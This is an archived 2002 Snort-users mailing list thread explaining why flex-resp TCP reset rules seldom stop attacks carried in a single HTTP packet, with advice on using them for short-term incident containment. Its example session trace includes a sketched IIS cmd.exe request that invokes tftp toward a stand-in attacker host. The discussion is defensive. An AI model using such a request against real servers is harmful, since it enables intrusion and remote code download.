[Snort-users] Snort+flexresp

Bamm Visscher bamm at ...539...
Thu Mar 14 20:29:06 EST 2002


I apologize for the confusion, I guess I should of elaborated more. I
did not mean to imply content rules do not "work" with flex-resp. You
can create any rule with any option and resp will "work". By "work", I
mean the reset(s)/ICMP error messages will be created by snort and sent
on the wire. The statement I was trying to make is how ineffective flex
response rules can be when used on HTTP traffic. Take the following HTTP
session as an example:

attacker:1025 -> target:80 S
attacker:1025 <- target:80 SA
attacker:1025 -> target:80 A
attacker:1025 -> target:80 AP "GET blah/cmd.exe?tftp hax0r.net blah"
attacker:1025 <- target:80 AP <HTML>200 Okay</HTML>
attacker:1025 -> target:80 FA
attacker:1025 <- target:80 A
attacker:1025 -> target:80 FA
attacker:1025 <- tartge:80 A

All the important content in this connection is contained in a single
packet (as is often the case with HTTP). In order to effectively reset
this connection, our reset packet has to reach the target box before the
"GET" request. So, using a content based rule probably isn't going to
prevent this attack from working. Matter of fact, try setting up a rule
to reset all web surfing from your IP (alert tcp YOURIP any <> any 80
(msg: "blocking web tfc"; resp:rst_all;)). Now see if you can surf the
web. I tried this a while back with snort-1.8.1 and had no problems
loading most pages. I tried the same thing later with snort-1.8.3 (major
changes to flex-resp) and found that it could sometimes prevent the
pages from loading, but not very often (IIRC. If your tests differ,
please let me know, I have been known to make mistakes). This is no
fault of snort, but a problem with the concept of flex-resp (tcp-reset,
etc) and affects all IDSes that employ it.

With that said, I do use flex-resp in a short-term incident containment
mode until long term fixes can be put in place. For example, once an
intrusion has been identified, I will use flex-resp in an effort to
prevent an attacker from doing further damage until the affected system
can be taken off-line or a rule blocking the attacker can be placed in
the FW/router. This often means sending a reset in response to any
packet sent by the source. Another example is using flex-resp to help
prevent the spread of a virus with a content based sigature in snort
until the virus signatures on email scrubbers can be updated.

Using flex-resp eats resources, so take the time to find out just how
different protocols work (HTTP, FTP, telnet, etc) and make sure any
flex-resp rules you create, are going to be effective "against" them. If
you want snort to take a more "active" role in preventing intrusions, I
suggest you look into hogwash.

Bammkkkk


On Thu, 2002-03-14 at 04:33, Sonika Malhotra wrote:
> 
> 
> "Bamm (Robert) Visscher" wrote:
> 
> > If you did not observe a RST packet at all, then the rule you created
> > did not trigger correctly or at all. Once a packet matches a rule with a
> > resp: directive, the appropriate response packet (rst or ICMP) is going
> > to be sent. Whether or not the response will be effective, depends on
> > the accuracy of the snort crafted response packet(s).
> >
> > FWIW, if you are trying to create a rule to kill HTTP connections on
> > detection of "cmd.exe" (or a content rule of any type in HTTP), then
> > forget it. It will rarely be effective.
> 
> Please elaborate on this, why the resp' option works for rules of type
> alert tcp any any-> x.x.x.x pp (resp:rst_all; msg:"aiiee";)
> and not in general for pattern matching rules.
> thanx .
> sm
> 
> >
> >
> > Bammkkkk
> >
> > On Wed, 2001-03-14 at 08:56, skill2die4 wrote:
> > >
> > > Hi:
> > >
> > > I was working on flexREsp in my lab and the set-up was :
> > >
> > > ----------               ----------
> > > -  compA - +++++++++++++ -  compB -
> > > ----------               ----------
> > >
> > > +++ = crossover
> > >
> > > compA = running snort
> > > compB = testing machine
> > >
> > >
> > > So, in my case even though FLEXRESP might be installed
> > > properly; it wasn't replying to packets with a RST packet (as per
> > > the rules that I created) due to time frame given to snort to create the
> > > packet(as per my understanding now...thanks to ROEL)
> > >
> > >
> > > Questions:
> > > ----------
> > >
> > > 1. Was it was because the compA replied before snort could craft the
> > > reply packet?
> > >
> > > 2. Even if so, I should have seen at least a single RST(even though with
> > > delayed sequence number) packet ?
> > >
> > > 3. Since I didn't saw even a single RST packet over the network, should
> > > I ASSume that the problem lies with my installation or rulesets ?
> > >
> > > 4. How can I create network DELAYS in the Lab environment?
> > > [** MOST IMPORTANT **]
> > >
> > >
> > >
> > > Thanks!
> > >
> > >
> > > Skill2die4






More information about the Snort-users mailing list